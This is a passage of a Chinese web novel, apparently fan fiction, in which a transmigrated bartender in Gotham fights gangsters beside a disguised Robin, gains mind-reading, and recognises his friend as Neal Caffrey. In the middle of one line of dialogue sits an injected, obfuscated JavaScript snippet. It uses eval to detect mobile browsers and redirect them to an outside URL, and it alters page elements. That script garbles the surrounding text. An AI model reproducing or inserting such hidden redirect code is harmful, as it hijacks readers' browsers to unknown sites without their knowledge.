面具佬惊讶转头看向女孩，刚才还柔弱无助地在他们身下喊着“不要不要不行不行”的美丽废物伸出她的纤纤玉手，指节收紧，一下拽住了抱着箱子准备跑路的男人的后衣领，直接将人拖回沙发附近，脸朝地按在了地上。 叮呤咣啷的重物落地和男人惨叫声落下之后，空气再次突然安静。 我勒个神力美少女……卡修斯心里感慨，哥谭真的藏龙卧虎，自己这以貌取人的毛病真的该改改了。 反应过来的面具帮和俄罗斯人终于意识到他们大概从进酒吧的瞬间就被盯上了，一边大喊着“臭**，杀了她！”，一边开了枪。 卡洛琳·希尔立即将按在地上的男人拎起来挡在身前。被拉来挡枪的男人也不傻，他咒骂着艰难地把箱子横在脑袋前，挡住自己的关键部位。 枪手们投鼠忌器，怕误伤同伴，开了几枪之后就不敢再扣动扳机。 女孩将男人直接推向他的同伙，自己则借着推人的反作用力，轻巧地跃到包厢门前。 卡修斯以为女孩这是要跑路，心里五味杂陈，越发觉得自己一腔孤勇完全错付。他到底哪来的勇气去掺和哥谭义警和黑邦之间的恩怨呢？ 都是蝙蝠侠的错，谁能想到即便他的线人是个柔弱的未成年少女，也能一脚踢飞一个一米九壮汉？ 所以这五个人栽的不冤，当然，自己也是冤种5+1。 哥谭果然人才辈出。一个青铜的我，居然想去解救一个王者的她。这地方，不但路边的男人不能随便捡，酒吧里的落难少女也不能随便救。 可惜卡修斯明白得太晚。卡洛琳这一跑，被留下的自己肯定没什么好下场。 但是，女孩并没有像卡修斯想的那样开门逃走。“咔嗒”一声，她利落地将包厢门反锁了起来，又将已经翻倒的大理石茶几推到门前抵住。 卡修斯还来不及感到意外，就看到她身形一闪，撑着茶几竖起的侧沿跃向抱着箱子的男人，再以他为支点来了个二段跳，抬脚踹上俄国佬持枪的那只手。他手中那只装了消音器的Glock. 17被踢飞掉在包厢地面光滑的瓷砖上。 整个动作流畅丝滑，优雅又充满力量感。要不是场景不合适，卡修斯甚至想给她鼓个掌。 枪身打着旋往前滑，一直滑到卡修斯脚下。 被打出鼻血和踢到胯部的男人此刻已经全部扑上去对付卡洛琳，卡修斯也被他们之间的战局吸引，一时看的出了神，捏着餐叉抵住手底下那人咽喉的动作就放松了些。 这些人都做的是刀口舔血的生意，生死关头的敏感性自然比普通人要高得多。对方一感觉到卡修斯的走神，立刻抬脚狠狠跺上他的脚面。就在卡修斯吃痛的瞬间，不顾还被反剪着的手腕，冒着脱臼的风险强行蹲下身去捡地上的枪。 本能再次接管了卡修斯这具身体，像是被训练过无数次那样，在对方摸到枪的瞬间，卡修斯毫不犹豫地一叉子扎下去，凶猛的力道瞬间扎穿了对方的手背，卡修斯在他的惨叫声中夺过了他手中的枪。 原本正在对付卡洛琳的其中一人瞬间转身对准身后的卡修斯开枪，但卡修斯的动作比他快。他的枪口利落转向，瞄准了对方的脑袋，预判了对方的动作，但就在他扣下扳机的瞬间，卡修斯硬生生违背这具身体的肌肉记忆，将手腕往右下偏了几分。 无声的子弹飞出，擦着对方左颧骨的位置，又从耳后穿了出去，打碎了他身后墙上的装饰画框。 耳朵被子弹穿透的男人踉跄几步，感受到脸上的湿热，还 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“卡洛琳”的身型在女孩儿里算的上高挑，但跟被他制住的俄国佬比起来可是小了好几圈，他双腿从背后环上对方的腰，用自己的体重强行扭转对方的身体，子弹擦着俄国佬的太阳穴而过，将原本被打碎的相框彻底打落在地。 他抬起手，一个手刀劈晕了这个和死神擦肩而过的俄国佬。 抱着箱子的男人举起被打了好几个弹孔的手提箱袭向卡洛琳，他此刻整个人还没来得及从俄国佬身上跳下来。 他感受到身后袭来的风，绷紧后背打算硬扛下这一击。提姆知道那个黑色手提箱里装着美金，一整箱的钱加上箱子本身的重量，如果打到后脑，肯定会脑震荡，但这已经是最好的结果了。场上所有的敌人不是被缴械就是失去了战力，刚才被这个男人搂着的时候，她已经悄无声息地摸走了他身上所有的武器。 但预料中的重击并没有袭来，身后忽然发出一声惨叫。 提姆此刻已经调整好姿势，松开手中的俄国佬转过头去，那人捂住右眼，一只银色的餐叉手柄从他的指缝中露出来。 是卡修斯拔出原本插在地上那人手上的餐叉甩了过去，刚好命中对方的右眼。 黑色的箱子落地，一叠叠的富兰克林从箱子里掉了出来。 卡修斯感觉自己肾上腺素飙升，根本控制不了自己的凶性。他并没有停下，扯住地上那人的头发，双脚跨站在对方肩膀两侧，拽着男人的头发强迫对方抬头。 “你TM知道我们是谁吗？敢动我们，你死……” 卡修斯抬起胳膊，将手中连着消音器的枪.管直接塞进对方嘴里。 “不要！”提姆已经来不及冲过去阻止他，只能嘶声喊道。 但卡修斯已经扣下了扳机。 提姆忍着脚腕的剧痛，尽全力扑过去。单手握住了卡修斯持枪的手腕。 “咔嗒。” 和扳机声同时响起的，似乎还有骨头错位的声音。卡修斯只觉得一股钻心的疼痛从手腕处袭来，整个右手掌顿时脱了力。 但他左手居然还下意识扶住了扑进他怀里的女孩。 他的手无力地从枪上滑落，但他的处决对象眼睛瞪得极大，可瞳孔却缩的很小，他的嘴巴还含着枪.管，牙齿死死咬着枪身，整个人处于极度的惊惧之中。 “啊，好幸运，没子弹了。”卡修斯虚扶着卡洛琳的腰，垂眼看着脚下的人，真情实感的为他感到高兴，精神状态看上去很美好。 对方嘴里的枪.管终于掉落，一股腥臊的味道传来，那人眼白一翻，晕了过去。 8. 第 8 章 卡洛琳从他的怀里退了出来，卡修斯后知后觉地感到了尴尬，一时间眼神都不知道往哪儿放。 手腕的剧痛消解了他一些尴尬的情绪，卡修斯看着一地的血迹和满屋的残迹，发自内心的想要报警，手机都拿出来了，才后知后觉的想到，法外狂徒是自己。 他双眼发直地看着地上，心里开始审判自己：这是我干的？！这具身体原本到底是什么来头？别是什么杀人不眨眼的超级反派吧？ 但来不及自我怀疑，门外的撞击声已经第一时间将他拉回现实，卡修斯和屋中唯一还清醒的那个人对视，此刻，卡洛琳·希尔的眼中一点都没有对他这个“救命恩人”的感激，反而用一种警惕的眼光审视着他。 不能怪他，眼下这种局面，自己真的不像什么好人。 卡修斯只能干巴巴的说了一句：“啊，这可真是太吓人了……” 卡洛琳嘴角抽了抽，没说话，她蹲下身，从那个被餐叉扎了眼，已经昏死过去的人身上摸了半天，终于在他衬衣内侧翻出一块小小的长方体物品。她的衣服没有口袋，于是她将东西放夹在了傲人的双峰之间，还往下塞了塞。 卡修斯：…… 接着，她又从地上捡起那只没有完成自己使命的注射器，变戏法似的从她的包臀裙里摸出一个透明袋子，将注射器装了进去。 “手给我。”卡洛琳说。 卡修斯下意识的将自己还完好的那只手递给她。 女孩掀起眼皮扫了他一眼，然后径自拉起他垂着的另一只手。 她一手抓着他的腕骨，另一只手拇指和食指用力一转。 “嘶——！” 卡修斯猛抽一口气。 卡洛琳松开他的手腕：“好了。” “哦，谢谢。”卡修斯很有礼貌地道谢。 女孩抬起眼，有些意外看向他。 卡修斯想起有什么地方不太对了，他道什么谢啊，本来就是她给弄脱臼的。 撤回！ 卡修斯收起笑容，重新让冷酷爬上自己的脸。 卡洛琳没说话，她踩在茶几上，用力推开了墙上的通风口，一手扒住通风口，双腿奋力一蹬，想要跳进去。但因为脚腕上的扭伤，第一下没让她成功。卡修斯忍不住搭了把手，又不好意思直接碰姑娘的身体，他躬身捡起刚才地上的枪，隔着裙子用枪.管怼着她的臀将她推了上去。 卡洛琳回头默不作声地看着他。 卡修斯挥了挥枪身，解释道：“里面没子弹，不会射到你的。” 卡修斯：…… 死嘴……你在说什么？ 好在女孩并没有计较他疑似杏骚扰的冒犯，她整个身体钻进通风口，然后又回头看了眼还捂着手腕站在不远处的他，再一次朝他伸出手。 卡修斯有点意外。看到她在躺在地上的人身上翻找东西的时候，以为她拿到想要的东西后就会独自离开，不会管他的。 “手给我！” 女孩伸着手，手掌向上，不耐烦的催促了一声。 卡修斯想起一个从刚才起就一直困扰着他的问题。 “你为什么要点我来这个包房服务？” 提姆当然不会告诉他，是为了完成蝙蝠侠交代他的“看住卡修斯·希尔”这个任务。 只有让他待在自己身边，才能同时完成夺取资料和监视嫌疑人这两项任务。 “先离开这儿再说。” 女孩的声音从通风口隐约传来，低沉，冷静，有种雌雄莫辨的磁性，语调让卡修斯莫名的觉得竟然她好像真的在为他着想。 但卡修斯不觉得对方真的这么好心，更有可能的是想要趁机将他逮捕，毕竟刚才自己的表现的太像是一名业务熟练的法外狂徒。 提姆确实有这方面的考虑。 卡修斯·希尔留在这里不安全，俄罗斯人和面具帮的人是不会放过他的。带着卡修斯一起离开，他就可以顺理成章地将人安置在自己的安全屋，以保护他安全的原因，彻底将人调查一遍。 卡修斯转头看向被锁住的包房门，那里从刚才起，就一直传来呼喊声和撞击声，挡在门口的茶几已经快要被推开了。 不愧是蝙蝠侠的线人，思虑果然周全。卡修斯看着被一点点移动的茶几，在心里默默感慨。 现在，跟着卡洛琳·希尔离开貌似是最优的选择。 但跟着她离开，也意味着自己势必会面临蝙蝠侠的审问。 他还没想好要怎么解释这一身连自己都觉得震惊的格斗技巧，更没法向他解释自己的身份。 他四下看了看，走近茶几，咬牙往尖锐的桌角上狠狠一撞。脑子里“嗡”一声，卡修斯连视线都模糊了起来。 提姆被他突如其来的动作惊呆了，再想将人带走显然已经来不及，挡住门的茶几显然已经撑不了多久了。 他深深看了眼已经顺势躺倒的卡修斯·希尔，暂时放弃带他走的念头，扭转身体，迅速顺着事先计划好的撤退路线离开了。 当外面的人终于将门撞开，看到的只有一地的富兰克林和昏过去的男人们，卖酒妹卡洛琳·希尔早已不见踪影。 尼克看到匍匐在地上的卡修斯，第一时间冲了过去，将人反过来才发现，对方脸上都是血。 尼克吓了一跳，先伸出手试了试对方的鼻息，发现还有气，这才拽着他的领口拼命摇晃起来：“卡修斯，卡修斯！” 卡修斯在尼克打算用抽他耳光的方式唤醒他之前，悠悠转醒。 他从不知道自己竟然还有这么高的演戏天赋，就像他不知道自己什么时候竟然掌握了如此娴熟的杀人术一样。 他清楚的记得，自己用餐叉戳穿那个人的眼睛时，没有丝毫迟疑，在手握glock.17开枪的时候，也没有丝毫犹豫，这一切像是自己做过千万遍那样丝滑，那是这具身体的肌肉记忆。 虽然这让他摆脱了险境，但也让他感到毛骨悚然。 他的脑袋还在痛，大理石的茶几角十分锋利，他能感觉到鲜血还在从额角的伤口流入眼睛，让他不得不闭上一只眼。 “这里到底怎么回事？”这是一个女人的声音。 卡修斯仰头看过去，一个身着火辣，带着半张面具的女人正用审视的眼光居高临下的看着他。 “是Misty的老板。” 尼克用嘴型提醒他。 卡修斯还在酝酿情绪，看到这个用白虎面具遮了大半张脸的女人，人麻了。 众所周知，在DC的世界里，戴面具的不是义警就是反派。 如果她不戴这张面具，他还猜不出她的身份，但这张面具一出现，卡修斯就知道了她的身份。 他真的没想到，Misty的老板竟然是金龙帮的老大，山猫。 尼克悄悄拽了他衣服一下，示意他快点回话。 卡修斯费力的抬起自己软绵绵的手腕，说：“我不知道，进来的时候包房的客人们想要给卡洛琳注射什么东西，她突然暴起，和客人们打了起来，我心里害怕想要逃跑，被她推开，撞到桌角晕了过去。” 山猫已经让人将受伤的几个人抬了出去，她看着一地散落的美金，眉眼动了动，立即有人会意的蹲下将地上的钱收拢起来，连同原本装钱的箱子一起递到女人眼前。 她摆了摆手，手下立刻走了出去，唯独尼克留了下来。 加登·霍尔似乎也想留下来，但被女人隔着面具的眼睛冷冷看了一眼后，只能不甘愿的和其他人一起退了出去。 “你是说，这些人都是卡洛琳·希尔伤的？” 「想糊弄我，你还嫩些。」 卡修斯的脑子里突兀的听到一个女声。 他为了表示真诚，刚才一直看着山猫的脸说话，他很确定女人的嘴巴并没有动。 这是怎么回事？ 他心中惊疑，但神情依旧保持了镇定，坚持自己最初的说法：“我晕过去了，不知道。” 女人哼笑一声，她弯下腰，尼克立即松开卡修斯，给她让出了位置。 「装晕？倒是挺聪明。」 那声音又在脑海中响起。 卡修斯觉得自己是不是在桌角磕出了脑震荡，为什么出现了幻听？ 他有些紧张的抓了下正扶着自己的尼克的袖口，尼克不着痕迹的按了按他的后背，像是在示意他别担心。 女人抬起他的下巴，左右晃了晃，端详了一下他的伤口，随后伸手从茶几上抽了几张纸，帮他擦了擦眼周的血迹。 「呵，不过如此。」 女人心里又叹了一句。 不像是幻听。他好像……听到了面前这个女人的心声？ 他忍不住看向那个染着他血的桌角，没有幻听的话，他这是……变异了？ 不过如此？什么不过如此？ 他接过纸巾，假装受宠若惊地说：“谢谢老板，我自己来。” 女人也不是真的想帮他擦脸，她松开纸巾，起身问：“这几个客人是俄罗斯黑邦和黑面具的人，你是说，卡洛琳·希尔抢走了他们的钱，还打伤了你，是吗？” 卡修斯不动声色的将纸巾放在额头的伤口处按了按，发出小声抽气的嘶嘶声。 “我真的不知道。” 卡修斯柔弱的说。 他刚才从女人的眼神就已经知道，这位老大根本不具备拾金不昧的美好品质。 女人抬起他的下巴，让卡修斯被迫注视着她，她裸露在面具外的双眼中蕴含的狠厉和狡诈一点也不输给任何一个男性黑邦头目。 “俄罗斯黑邦可是很团结的，黑面具更是不好惹，小子，你给我惹了大麻烦。” 说着，她极具暗示性的用拇指摩挲了几下卡修斯的下巴。 「不过长的倒是不错，不像是从那里出来的。」 卡修斯：…… 不是，那里是哪里？心声难道不应该更直白些吗？ “有兴趣跟我走吗？”山猫问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180823|165261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……我喜欢男人。” 卡修斯脱口而出。 山猫的手顿住了一瞬。 她忽地笑出声，松开卡修斯的下巴站了起来，侧过脸看向尼克：“所以你是英雄救美？” 这回轮到卡修斯震惊了。 他还以为山猫是听说酒吧有人砸场子，才出现的。 山猫看到卡修斯看向尼克的表情，玩味的看着尼克说：“看来他还不知道你是谁？” 在卡修斯说自己喜欢男人的时候，尼克吃惊地看向他，但听到山猫和自己说话时，他又回避了卡修斯同样望向他的惊讶眼神，回道：“我们只是朋友，我不希望他出事。” 山猫没有纠缠这个问题，她点头道：“我可以帮他解决今天的麻烦，不过他不能继续留在Misty，金龙帮暂时不想跟黑面具撕破脸，Moz的人情也只能让我做到这个地步。” 「既然他不是那边的人，留着这个麻烦也没必要。」 女人心里这样说。 不是，老大，“那边”到底是哪边啊？你的心里住了个谜语人吗？ 山猫环顾了一圈已经被砸的不成样子的包房，“那些钱，就当是给Misty的经济赔偿还有我善后的报酬。” 「黑面具在我的地盘搞事情，也该出点血，要不然真当我吃素的吗？」 卡修斯再次听到女人心里这样说。 尼克点头：“当然。” 卡修斯本来就打算跑路，那几个人只是晕过去了，又不是死了，一旦醒过来，自己扣在卡洛琳·希尔头上的锅就得飞一半回来，到时他吃不了兜着走。 她又仔细端详了一阵卡修斯额头上的伤口，又说了一遍：“那么，你也是英雄救美？” 「敢跟火柴·马龙抢人，也不知道是真爱还是真傻。」 卡修斯心跳漏了一拍，但面上不显，他尴尬地笑了一声，说：“哥谭的英雄可不好当。” 「这倒没说错。」 山猫被他的说辞取悦了，愉快的勾起了嘴角，她松开手，站起来拍了拍手上不存在的灰尘：“行了，走吧。” 尼克将卡修斯拉了起来，对她说：“希望您不要向那些人透露卡修斯的名字和地址。” 山猫耸了耸肩：“既然答应Moz帮你解决问题，我就不会说。” 「不过他们要是自己查到的话，可跟我没什么关系。」 尼克点头：“谢谢。” “用不着，要谢就谢你有Moz这种神通广大的朋友。”说着，她又将视线转向卡修斯，继续对尼克说：“只是不知道，你的这位新‘朋友’值不值得你份付出，毕竟，你是在用自己的机会帮他。” 「也不知道你的情感投资到底值不值得，可别押错了注。」 卡修斯看着山猫离开的背影，听到脑内轻飘飘的传来这句话。 他看着尼克，问：“她什么意思？” 不管是她说出来的还是没说出来的，卡修斯觉得自己都不太明白。 “先离开这儿吧。” 卡修斯正色看着他：“尼克，我不想莫名其妙欠别人的，人情债最难还。” 尼克抿了抿唇，说：“我在哥谭确实有其他事儿要做，原本等事情结束，Moz会请山猫帮助我离开哥谭，现在……” 卡修斯的脑子艰难的转了转，回想了一下刚才山猫说的话，意识到，尼克在Misty的调酒师身份，可能是山猫口中的Moz帮他安排的掩护。 “尼克·霍顿，这是你的真名吗？”卡修斯问。 尼克是他来到这个世界之后，交到的第一个朋友，现在察觉到这个朋友可能连告诉自己的名字都是假的，他有点难过。 “当然。” 尼克含混地答道，既没有说当然是，也没有说当然不是。 “你的朋友，那个叫Moz的……” 卡修斯忽然顿住了。 他像是被闪电击中了一样，忽然想起来，自己为什么觉得尼克·霍顿这个名字这么熟悉了。 “蚊子”这个代号太特别，以至于卡修斯终于注意到，自己忽略了什么。 艹。 卡修斯震惊地看向尼克。 “尼克·霍顿”卡修斯轻声叫了他的名字。 “怎么？” 尼克转向他。 “你是尼尔·卡弗瑞。”卡修斯斩钉截铁地说。 尼克愣了一下，没想到卡修斯居然也听说过他的名字。 看他的表情，卡修斯就知道自己猜对了，他真的是自己知道的那个尼尔·卡弗瑞。 不能怪他一开始没想起来，因为尼尔·卡弗瑞原本就和蝙蝠侠不是一个片场的啊！ 搞什么，怎么突然串频道了？这还是我熟悉的那个DC世界吗？ 卡修斯在心中哀嚎。 就在他猜出尼克的真实身份时，忽然听到尼尔的声音突兀的出现在了自己的脑海里。 「我帮你也确实对你有所求。」 9. 第 9 章 “你说什么？” 卡修斯不确定地问。 “我什么也没说啊。”见卡修斯盯着他的脸不说话，尼尔的眼神充满了担忧。 「他是不是撞出脑震荡了？」 他又听到了尼尔的声音。 卡修斯盯着眼前男人的脸，十分确定他也没有张嘴发声。 在这个充满危险的超英世界，富人靠科技，穷人靠变异，所以我这是真的变异了？ “你看上去不太好，我送你回去吧。”尼尔的话音刚落，加登·霍尔领着几个人走进来，他指挥着其他人将地上还昏着的人搬到沙发上，又有一名帮派医生帮忙处理面具帮和俄罗斯人身上的伤，剩下的人开始清理现场。 加登看着那个被刀叉扎到眼球的人，忍不住摸了摸自己的眼睛。 Misty的包房对外宣称私密性很好，不会有任何监控，但事实上，包房还是有监控的，只是这个监控只有老板能看到。 刚才他在山猫那儿看到了包房的监控录像，里面清楚地展示了卡修斯·希尔是怎样冷静又精准地将刀叉捅进对方眼球的。 他看到的时候简直不敢相信，这是他认识的那个平时随便他揉圆搓扁的卡修斯。 想到这三个月里，他曾无数次明里暗里挤兑卡修斯，对方都逆来顺受的样子，霍尔就忍不住后背直冒冷汗。 他去山猫的房间本是打算告卡修斯的黑状，希望能劝说山猫把卡修斯控制起来，交给面具帮的人，这样MISTY会少很多麻烦，没想到恰好看到了这段监控录像。 由于惊吓过度，他呆站在原地，半天不敢说话。 山猫淡淡瞥了他一眼，关掉视频画面，这才转头：“你来做什么？” “我……我……”他结巴了半天，说不出话来。 当初山猫初入金龙帮的时候，只是最底层的打手。后来一次黑邦火并，加登·霍尔的哥哥恰巧救了山猫一命，自己却死了。后来山猫一步步往上爬，变成了现在的帮派老大。加登·霍尔凭借着死去的哥哥，一直颇得山猫的照顾。他依仗着亲哥对山猫的“换命之恩”，这些年他在帮派里也混的顺风顺水，顺利到他都快要忘记，这个能从底层爬到帮派老大位置的女人，又怎么可能是他三言两语能左右的。 “我……我来是想跟您说，这次咱们真的要护着卡修斯那家伙吗？他又不是我们帮派的人，而且……” 加登·霍尔本来没什么底气，但越说越自信，他觉得自己是为了帮派好，金龙帮和面具帮向来井水不犯河水，而且黑面具喜怒无常又极端残暴，如果知道自己的手下在Misty出了事，他们还交不出罪魁祸首，恐怕会被纠缠很久。 但山猫打断了他。 “加登。” 女人冷清的声音响起。 加登立即停了下来。 “我不需要你的意见，以及，永远不要质疑我的决定。明白了吗？” 隔着白虎面具，加登·霍尔也能感受到女人眼神里的冷意。 他忍不住咽了口口水。 “可……” “没有可是。”山猫又一次打断他。 “卡修斯·希尔和尼克·霍顿，都比你有用，我卖他们个人情没什么不好。你在Misty做的那些事我不想管，但是不要犯蠢，招惹你不该招惹的人，听明白了吗？” 山猫说话的时候，顺手删掉了刚才播放的视频文件。 加登·霍尔听出了女人语气里的不耐烦，他只能不大情愿地点了点头，表示知道了。 “行了，你带人去包房里清理现场，让卡修斯和尼克尽快离开，我通知面具帮过来把他们的人接走。他们的生意不在自己的地盘谈，反而跑到我这儿来，我这么做已经算是很有礼貌了。” 加登·霍尔想起山猫评价自己不如这两个人有用，就相当不服气，可他已经在监控里见识过卡修斯的身手，此刻也不敢轻易招惹他。 可他实在咽不下这口气，因此，虽然不敢自己动手，但他还是想给对方找麻烦。 山猫让他通知两人尽快离开，加登故意没说，希望面具帮和俄罗斯人来的时候，能刚好将两人抓个正着。 到时他就说自己通知到了，是他们自己没走脱，跟他又有什么关系。 但尼尔常年在危险的边缘打转，逃跑是他最擅长的技能。他猜想这会儿山猫已经通知了面具帮的人，卡修斯最好还是赶紧离开。 看到加登·霍尔总是不经意地用眼神瞟他们，尼尔拽了卡修斯一下：“走吧，尽快离开这儿。” 卡修斯点头：“我去换衣服。” 加登·霍尔失望地看着他们离开，但马上又生出一个阴暗的想法。 卡修斯和尼尔一起来到更衣室，两人都快速地换好衣服。尼尔关上柜门，刚走到卡修斯附近，就听到“咔嗒”一声。 他顺着声响看过去，就看到卡修斯在自己的右臂处穿戴了一件不寻常的装备。 对艺术品和古董都造诣颇深的尼尔立即认出这是一把制作相当精美的袖剑。 “你……” 尼尔惊讶极了。如果卡修斯有枪，他都不会这么吃惊。要知道，袖剑这种武器不是什么人都会的。 「他到底是什么人？」 卡修斯再次听到了尼尔的声音。 此刻他已经冷静下来，不像一开始听到这些声音时那么惊讶，终于开始思考一些和这相关的问题。 目前他好像只能听到了山猫和尼尔的声音——刚才加登·霍尔在身边的时候，他就没听到任何奇怪的声音。卡修斯不知道这到底是谁的问题，不过目前看来，尼尔对自己并没有恶意，他可以再观察一下。 “我知道你想问什么，就是，别问，等有机会再说吧。” 对于自己的身份，此刻卡修斯自己也是一头雾水，而且这儿也不是说话的地方。 尼尔的表情有些犹豫。他见过很多恶人，而且这里是哥谭。他忽然有些不确定，卡修斯会不会也是其中之一。 尼尔看向卡修斯的眼睛。他见过的那些穷凶极恶之徒不会有这样干净又柔软的眼神。他始终记得卡修斯在面对陷入困境的卡洛琳·希尔时，表现出来的真诚地担忧。 「算了，反正我也不是什么好人。」尼尔心道。 他冲卡修斯笑了笑，说：“那走吧。” 两人从酒吧后门离开，卡修斯将卫衣上的兜帽拉上来戴好，把自己的 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尼尔看着他，点头道：“好。” 卡修斯并没有注意到，从他走出包房Misty，一枚极小的追踪监听器就已经卡在了他鞋底的防滑花纹里。 他和尼尔·卡夫瑞所说的一切，都传进了罗宾的耳返中。 “B，U盘到手，新型药品的样本也拿到了，我把它们留在公寓A，你可以现在来取。” 耳机那头询问道：“为什么不直接带回洞？发生什么了？” “是卡修斯·希尔。” “他怎么了？” 通讯里只有蝙蝠侠粗粝的电子音，连一点风声都没有，提姆猜测布鲁斯此刻大概是在某个室内环境中。 “他今晚打算住到酒吧调酒师尼克·霍顿……或者说，尼尔·卡夫瑞那儿。” 便士一的声音适时地插了进来：“尼尔·卡夫瑞，在FBI名单上的通缉犯，罪名是合同伪造，但同时身上还有证券欺诈，盗窃艺术品以及敲诈勒索等多个罪名嫌疑。” “谢谢你帮我补充说明。”提姆继续说，“他4个月前化名尼克·霍顿来到哥谭，目的不详，但现在看来，他在有意接近卡修斯·希尔。” 说罢，他继续说：“尼尔·卡夫瑞说服了Misty的老板，也就是金龙帮的老大山猫，帮助卡修斯隐瞒行踪。按照你的要求，我现在正在对他进行侦查和保护，直到确认他的安全为止。” 通讯另一头发出了非常细微的翻动物品的声音，提姆想起布鲁斯今晚匆忙离开，好奇道：“你需要帮忙吗？” “不，就按你说的，跟好他们。今晚面具帮和俄罗斯人大概会掘地三尺找人，必要的话，可以直接将人带到GCPD，吉姆会确保他们的安全。” “收到。”罗宾回答道，但他还是忍不住又问了一遍：“你现在在哪儿？” “我在卡修斯·希尔的住所，搜查、布控。” 还装扮成卡洛琳·希尔的提姆忍不住挑起一边眉毛：“所以，卡修斯·希尔到底有什么问题？” 10. 第 10 章 提姆也觉得这个人身手好到可疑，但他相信自己的眼睛，卡修斯进入包房的时候，对“卡洛琳·希尔”处境流露出来的担忧是真实的。 布鲁斯怀疑卡修斯·希尔知道所有义警的秘密身份，但这么重要的事绝不可能是一朝一夕发现的，可在今天之前，他根本没注意到蝙蝠侠在调查任何一个和他们秘密身份泄露有关的人。 “先生，我猜是您又听到了那位先生的心声？”便士一说道。 “什么？‘又’？我错过了什么？听到心声又是什么？”提姆惊讶地问。 “专注你的任务，罗宾，其余的事等任务结束，我会做一个详细的说明。”蝙蝠侠说。 “好吧，你是老大。罗宾下线。”提姆耸了耸肩，挂断了通讯。 他看了看手机上已经距离他有两个街区远的绿色坐标，加快了脚步。 尼尔打开门，微微弯腰，做了个邀请的手势。 卡修斯进门先环顾了一周房间内的环境，发现屋子里的家具相当简单，除了生存必要的几件家具之外，再没有其他，看上去像是随时可以拎包走人的样子。 房间中央摆着一幅还未完成的画作，卡修斯瞄了一眼，是一幅人物肖像，一个英俊的男人，年龄在35岁左右的样子。不过他的整个服装样式并不是现代的样子，因为画中男人的打扮更像是古代装束。 他看着画上的这张脸，莫名有些熟悉，还没等他仔细看，尼尔已经将画布放下来遮住了画作。 卡修斯知道尼尔·卡夫瑞有超高的绘画天赋，他的绘画天赋和做旧技术，有时再加上Moz的技术支持，可以让出自他手的仿作达到以假乱真的高超水准，甚至称之为艺术品也不为过。只是卡修斯的艺术修养有限，他实在看不出来那肖像画是谁的名作。 “画的什么？这么神秘？”卡修斯故意问道。 尼尔耸了耸肩：“随便画着放松心情的。” 「卡修斯和韦恩家没什么关系，应该认不出那是韦恩庄园的藏品之一。」 卡修斯：…… 他看着尼尔的眼神都变了。 不er……兄弟，你想干什么？ 他现在很害怕尼尔说的要他帮忙的事跟韦恩家有关。 他何德何能，敢招惹那一家子义警？难道这就是获得超能力需要付出的代价吗？ 他努力控制着自己的表情，让自己保持轻松的语态问：“所以，你到底需要我帮什么忙呢？” 大概是尼尔已经回到了自己的住处，正处于一个安全感相对高的状态，这次他没有再卖关子，直接说：“我想让你帮我找个人。” 卡修斯一时没反应过来，下意识问道：“找谁？” “凯特·莫罗，我女朋友。” 卡修斯：…… 还没等他说话，尼尔的脸上已经闪过一丝惊喜：“你知道她？我就知道，你一定可以帮我找到她。” 卡修斯抹了把脸。 他忍不住回想了一下这对有情人的结局。 “可我不认识她。”卡修斯委婉地想要拒绝。 尼尔显然不会轻易放弃。 “可你的表情不是这么说的。” “我只是很惊讶，你竟然会让我帮你做这种事。”卡修斯说。 “你上次帮我找到了耳机。”尼尔固执地说。 找耳机和找人能一样吗？ 卡修斯用一言难尽的眼神盯着他。果然，尼尔·卡夫瑞聪明绝顶，但是一遇到和凯特相关的事，智商直接从喜马拉雅峰掉到马里亚纳海沟。 恋爱脑人设那是立得死死的。 “你知道，玄学这种东西，信则有，不信则无。与其说它跟神秘学有关，不如说跟心理学的关联更紧密一些……” 还没说完，尼尔就再一次打断了他：“我看过你的网站，也特意去了解过去你店里让你帮忙寻物的客人，你的准确率很高，我想试试。” 尼尔的眼神十分坚定。 “既然你们分开了，说明你们没有缘分，又何必强求呢？” 卡修斯努力尝试让他放弃。 “我必须找到她。”尼尔看着卡修斯，认真地说。 “无论付出任何代价吗？”卡修斯问。 “是的。” 卡修斯真的不想告诉尼尔。但是他知道，就算他不说，凭借着尼尔的执着，他早晚有一天会找到她。 他很想告诉尼尔，他和凯特最后的结局，他张了张口，却发现自己什么话都说不出。 物理意义上的说不出口。 卡修斯捂着喉咙，拼命想说话，但是憋得脸都红了，也没说出自己想说的东西。 什么意思，是不让剧透吗？ 尼尔困惑地看着卡修斯，以为他被什么东西噎到，连忙给他倒了杯水。 直到他放弃这个想法，才慢慢缓过神来。 算了。 卡修斯喝了杯水，将水杯重重放在窗台上。 “我告诉你可以，但是你得放弃你在哥谭想要做的事。” 卡修斯微微抬头，用下巴指了指那副被遮住的画架。 尼尔的表情开始变得警惕：“你知道那是什么？” “不，我不知道。我只知道，你想要做的事，绝对不会成功，而且一定会被抓到。” 兄弟，韦恩家全员义警，这个世界的第一侦探家的东西你也敢觊觎，真是勇敢啊。 卡修斯感慨道。 “这也是你算出来的吗？”尼尔怀疑地问。 “你就当是吧。” 卡修斯不知道那幅画是什么，只知道，就算他的偷盗技术再高超，也不可能从韦恩庄园带走一片树叶。 “如果你坚持，那就不用再问我凯特的踪迹，因为只要你做了这件事，就不可能再有机会回去见凯特。” 尼尔看着那幅被遮住的画，内心陷入挣扎。 「我可以先找到凯特，再回哥谭拿这幅画。」他心里想着。 卡修斯这次没有再在表情上露出任何端倪，他知道，只要他见到凯特，就不可能再有机会回来偷画。 他人生中最重要的朋友，老师，父亲——FBI探员彼特·博尔特会在凯特所在的地方设伏等他，亲手将他送进监狱。 尼尔确实必须去找凯特，只有这样，他才有机会遇到彼特，才有机会重新开始。 “好。只要你告诉我凯特在哪儿，我就立刻去找她。”尼尔承诺道。 卡修斯点头：“还是老方法，你说三个数字吧。” 